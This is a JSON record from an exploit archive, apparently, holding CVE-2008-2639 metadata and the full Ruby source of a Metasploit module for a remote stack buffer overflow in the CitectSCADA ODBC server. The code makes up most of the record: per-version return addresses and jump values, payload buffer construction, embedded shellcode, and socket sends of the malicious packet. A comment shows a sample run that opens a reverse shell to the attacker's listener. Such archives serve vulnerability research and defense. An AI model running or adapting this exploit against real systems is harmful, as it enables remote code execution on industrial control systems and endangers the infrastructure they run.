{"exploit":{"id":"EDB-6387","name":"CitectSCADA ODBC Server - Remote Stack Buffer Overflow (Metasploit)","description":"CitectSCADA ODBC Server - Remote Stack Buffer Overflow (Metasploit)","cves":["CVE-2008-2639"],"author":"Kevin Finisterre","published":"2008-09-05","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6387","path":"exploits/windows/remote/6387.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6387.rb","vulnerabilities":[{"id":"CVE-2008-2639","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the ODBC server service in Citect CitectSCADA 6 and 7, and CitectFacilities 7, allows remote attackers to execute arbitrary code via a long string in the second application packet in a TCP session on port 20222.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-2639","cvss":{"version":"2.0","baseScore":7.6,"severity":"high","vectorString":"AV:N/AC:H/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-2639"},"updatedAt":"2024-08-07T09:05:30.329Z","retrievedAt":"2026-11-27T09:11:46.545Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6387.png?v=2","url":"https://exploitbin.com/exploits/EDB-6387","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6387/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6387/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: citect_scada_odbc.rb\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/projects/Framework/\n##\n#\n#\n# msfcli exploit/windows/misc/citect_scada_odbc RHOST=192.168.2.45 PAYLOAD=windows/shell/reverse_ord_tcp LHOST=192.168.2.101  TARGET=2 E\n# [*] Started reverse handler\n# ...\n# [*] Sending stage (474 bytes)\n# [*] Command shell session 1 opened (192.168.2.101:4444 -> 192.168.2.45:1039)\n#\n# Microsoft Windows XP [Version 5.1.2600]\n# (C) Copyright 1985-2001 Microsoft Corp.\n#\n# C:\\Program Files\\Citect\\CitectSCADA\\Bin>\n#\n# Arbitrary code has been sucessfully run on Windows XP SP2 and SP3, Win98 SE and Windows 2003 Server SP1\n#\nrequire 'msf/core'\n\nmodule Msf\n\nclass Exploits::Windows::Misc::Citect_SCADA_ODBC < Msf::Exploit::Remote\n\n\tinclude Exploit::Remote::Tcp\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'CitectSCADA ODBC Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\tThis module exploits a stack overflow in CitectSCADA's ODBC daemon.\n\t\t\t\tThis has only been tested against Citect v5, v6 and v7.\n\t\t\t},\n\t\t\t'Author'         => [ 'KF <kf_lists[at]digitalmunition.com>' ],\n\t\t\t'Version'        => '$Revision: 1 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t['CVE', 'CVE-2008-2639'],\n\t\t\t\t\t['BID', '29634'],\n\t\t\t\t\t['URL', 'http://www.schneider-electric.com/sites/corporate/en/press/press-releases/viewer-press-releases.page?c_filepath=/templatedata/Content/Press_Release/data/en/shared/2005/10/20051019_schneider_electric_adds_scada_and_mes_capabilities_to_i.xml'],\n\t\t\t\t\t['URL', 'http://www.coresecurity.com/content/citect-scada-odbc-service-vulnerability','http://www.auscert.org.au/render.html?it=9433'],\n\t\t\t\t\t['URL', 'http://www.auscert.org.au/render.html?it=9433'],\n\t\t\t\t\t['URL', 'http://www.controsys.hu/anyagok/group_quality_assurance.pdf'],\n\t\t\t\t\t['URL', 'http://www.citect.com/documents/news_and_media/pr-citect-address-security.pdf'],\n\t\t\t\t],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'thread',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'BadChars' => \"\\x00\",\n\t\t\t\t\t'StackAdjustment' => -3500\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t# Small sample of potential targets... There ARE universal targets for *some* versions. The base address can varry unfortunately.\n\t\t\t\t\t['CiExceptionMailer.dll on XP Sp2 or SP3 5.42',     { 'Version' => '5.42',    'OS' => 'xp',    'Ret' => 0x003a530e, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 216  } } ],\n\t\t\t\t\t['CiExceptionMailer.dll on Server 2003 Sp2 6.0-r0', { 'Version' => '6.0-r0',  'OS' => '2003',  'Ret' => 0x003a6aad, 'Jump' => 0xffffff15e9, 'Payload' => { 'Space' => 212  } } ],\n\t\t\t\t\t['CiExceptionMailer.dll on XP Sp2 or SP3 6.0-r0',   { 'Version' => '6.0-r0',  'OS' => 'xp',    'Ret' => 0x0039cd5a, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 216  } } ],\n\t\t\t\t\t['CiExceptionMailer.dll on XP Sp2 or SP3 6.10',    { 'Version' => '6.10',    'OS' => 'xp',    'Ret' => 0x00501113, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 380  } } ],\n\t\t\t\t\t['CiExceptionMailer.dll on XP Sp2 or SP3 7.0-r0',   { 'Version' => '7.0-r0',  'OS' => 'xp',    'Ret' => 0x003e1e92, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 380  } } ],\n\t\t\t\t\t['CiExceptionMailer.dll on 2003 Server SP1 7.0-r0', { 'Version' => '7.0-r0',  'OS' => '2003',  'Ret' => 0x003d59d7, 'Jump' => 0xfffffe7be9, 'Payload' => { 'Space' => 376  } } ],\n\t\t\t\t\t['CiExceptionMailer.dll on Win98 5.50-r0',\t    { 'Version' => '5.50-r0', 'OS' => 'win98', 'Ret' => 0x006dd8b7, 'Jump' => 0xffffff6fe9, 'Payload' => { 'Space' => 140  } } ],\n\t\t\t\t\t['CiExceptionMailer.dll on XP SP2 5.50-r0',\t    { 'Version' => '5.50-r0', 'OS' => 'xp',    'Ret' => 0x003a5e90, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 216  } } ],\n\t\t\t\t\t['CiExceptionMailer.dll on 2003 Server 5.50-r0',    { 'Version' => '5.50-r0', 'OS' => '2003',  'Ret' => 0x003952ee, 'Jump' => 0xffffff15e9, 'Payload' => { 'Space' => 212  } } ],\n\t\t\t\t\t['Test Crash',\t  \t\t\t            { 'Version' => '666',     'OS' => 'test',  'Ret' => 0xdeadbeef, 'Jump' => 0xdeadbabeee, 'Payload' => { 'Space' => 8192 } } ],\n\t\t\t\t],\n\n\t\t\t'Privileged'     => false,\n\t\t\t'DisclosureDate' => 'June 11 2008'\n\t\t\t))\n\n\t\t\tregister_options(\n\t\t\t[\n\t\t\t\tOpt::RPORT(20222)\n\t\t\t], self.class)\n\tend\n\n\tdef exploit\n\t\tconnect\n\n\t\tprint_status(\"Trying target #{target.name}...\")\n\t\tif payload_space() != payload.encoded.length\n\t\t\tprint_status(\"Metasploit payload bug... please check out from SVN\")\n\t\t\texit\n\t\telse\n\t\t\tprint_status(\"Space: #{payload_space()}\")\n\t\tend\n\n\t\tshortjmp   =    0xeb069090      # jump over garbage for SEH foo\n\n\t\tif(target['OS'] =~ /xp/)\n\t\t\tprint_status(\"Using Windows XP Target\")\n\t\telsif (target['OS'] =~ /2003/)\n\t\t\tprint_status(\"Using Windows 2003 Target\")\n\t\telsif (target['OS'] =~ /98/)\n\t\t\tprint_status(\"no 98 foo yet\")\n\t\telse (target['OS'] =~ /test/)\n\t\t\tprint_status(\"Just testing.... don't mind me\")\n\t\tend\n\n\t\tpadding = 100  # Just fill up the end of the stack...\n\n\t\t# There is some redundant shit here... will be cleaned up soon enough...\n\t\tif (target['Version'] =~ /5.42/) || (target['Version'] =~ /6.0-r0/)\n\t\t\tfiller = \"\\x90\" * 10 + [target['Jump']].pack('Q')[0..4] + \"\\x90\" * padding\n\t\t\tmal = payload.encoded + [shortjmp].pack(\"N\") + [target.ret].pack(\"V\") + filler\n\t\telsif (target['Version'] =~ /6.10/) || (target['Version'] =~ /7.0-r0/)\n\t\t\tfiller = [target['Jump']].pack('Q')[0..4] + \"\\x90\" * padding\n\t\t\tmal = payload.encoded + [shortjmp].pack(\"N\") + [target.ret].pack(\"V\") + filler\n\t\telsif (target['Version'] =~ /5.50-r0/)\n\n\t\t\t# This particular target encompases win98 windows XP and windows 2003 just so that no one feels left out.\n\t\t\t# EVERYONE *CAN* be exploited... not just the guys running the modern stuff. Someone only needs to take a bit\n\t\t\t# of time to have a robust exploit for any platform or version they choose...\n\n\t\t\tif(target['OS'] =~ /win98/)\n\t\t\t\thop1 = 0xebb69090     # Short jump into small 72 byte buffer space - EBb6\n\t\t\t\thop2 = target['Jump'] # Near jump into begining of entire buffer... leaves 140 chars of space.\n\t\t\t\tseh = [target.ret].pack(\"V\") # Call EAX from CiExceptionMailer.dll\n\n\t\t\t\t# Description : It is 110 Byte Shellcode which Pops up Message Box Under win98\n\t\t\t\t# This is just sample code from the milw0rm...its using static addresses from MY win98\n\t\t\t\thell =\n\t\t\t\t\"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xeb\\x37\\x59\\x88\\x51\\x0a\\xbb\" +\n\t\t\t\t\"\\xd0\\x76\\xf7\\xbf\" +   # LoadLibraryA(libraryname) IN win98\n\t\t\t\t\"\\x51\\xff\\xd3\\xeb\\x39\\x59\\x31\\xd2\\x88\\x51\\x0b\\x51\\x50\\xbb\" +\n\t\t\t\t\"\\xa8\\x6d\\xf7\\xbf\" +   # GetProcAddress(hmodule,functionname)\n\t\t\t\t\"\\xff\\xd3\\xeb\\x39\\x59\\x31\\xd2\\x88\\x51\\x06\\x31\\xd2\\x52\\x51\" +\n\t\t\t\t\"\\x51\\x52\\xff\\xd0\\x31\\xd2\\x50\\xb8\\xa2\\xca\\x81\\x7c\\xff\\xd0\\xe8\\xc4\\xff\" +\n\t\t\t\t\"\\xff\\xff\\x75\\x73\\x65\\x72\\x33\\x32\\x2e\\x64\\x6c\\x6c\\x4e\\xe8\\xc2\\xff\\xff\" +\n\t\t\t\t\"\\xff\\x4d\\x65\\x73\\x73\\x61\\x67\\x65\\x42\\x6f\\x78\\x41\\x4e\\xe8\\xc2\\xff\\xff\" +\n\t\t\t\t\"\\xff\" + \"PWNED.\" + \"\\x4e\"\n\t\t\t\tmal = \"\\x90\" * (payload_space - hell.length) + hell + [hop2].pack('Q')[0..4] + \"Z\" * 67 + [hop1].pack(\"N\") + seh + \"\\x41\" * padding\n\t\t\telsif target['OS'] =~ /xp/ || target['OS'] =~ /2003/\n\t\t\t\tfiller = \"\\x90\" * 10 + [target['Jump']].pack('Q')[0..4] + \"\\x90\" * padding\n\t\t\t\tmal = payload.encoded + [shortjmp].pack(\"N\") + [target.ret].pack(\"V\") + filler\n\t\t\tend\n\n\t\telse (target['Version'] =~ /666/)\n\t\t\t# Use this to find offsets for other versions that were not provided.\n\t\t\tmal = Rex::Text.pattern_create(payload_space, Rex::Text::DefaultPatternSets)\n\t\t\tprint_status(\"Use pattern_offset.rb to find the length\")\n\t\tend\n\n\t\t# Open your eyes people... listen carefully to the rhetoric. There is no spoon.\n\t\twakeup = [0x0000000002].pack('Q')[0..4] + [mal.length].pack(\"N\") + mal\n\n\t\tlen = [wakeup.length].pack(\"N\")\n\t\tsock.put(len)\n\t\tsock.put(wakeup)\n\t\tprint_status(\"Sent malicious ODBC packet...\")\n\n\t\thandler\n\t\tprint_status(\"Citect and other SCADA and Control vendors have been communicating potential \" +\n\t\t\t\"vulnerabilities of control systems when they are connected to the internet for some time. \")\n\t\tprint_status(\"However, Citect believes this is only relevant to a company using ODBC technology and \" +\n\t\t\t\"directly connecting its system to the internet with no security in place -\")\n\t\tprint_status(\"a situation unlikely in todayâ€™s business environment. \")\n\n\t\tdisconnect\n\tend\n\nend\nend\n\n# milw0rm.com [2008-09-05]","sha256":"088914daa01a32752cfa2db7438ae00ba2ecbed88ce9dd884b25bdddc0c0701b","bytes":8411,"fetchedAt":"2026-11-27T09:11:43.286Z","encoding":"utf-8 (display only; download retains original bytes)"}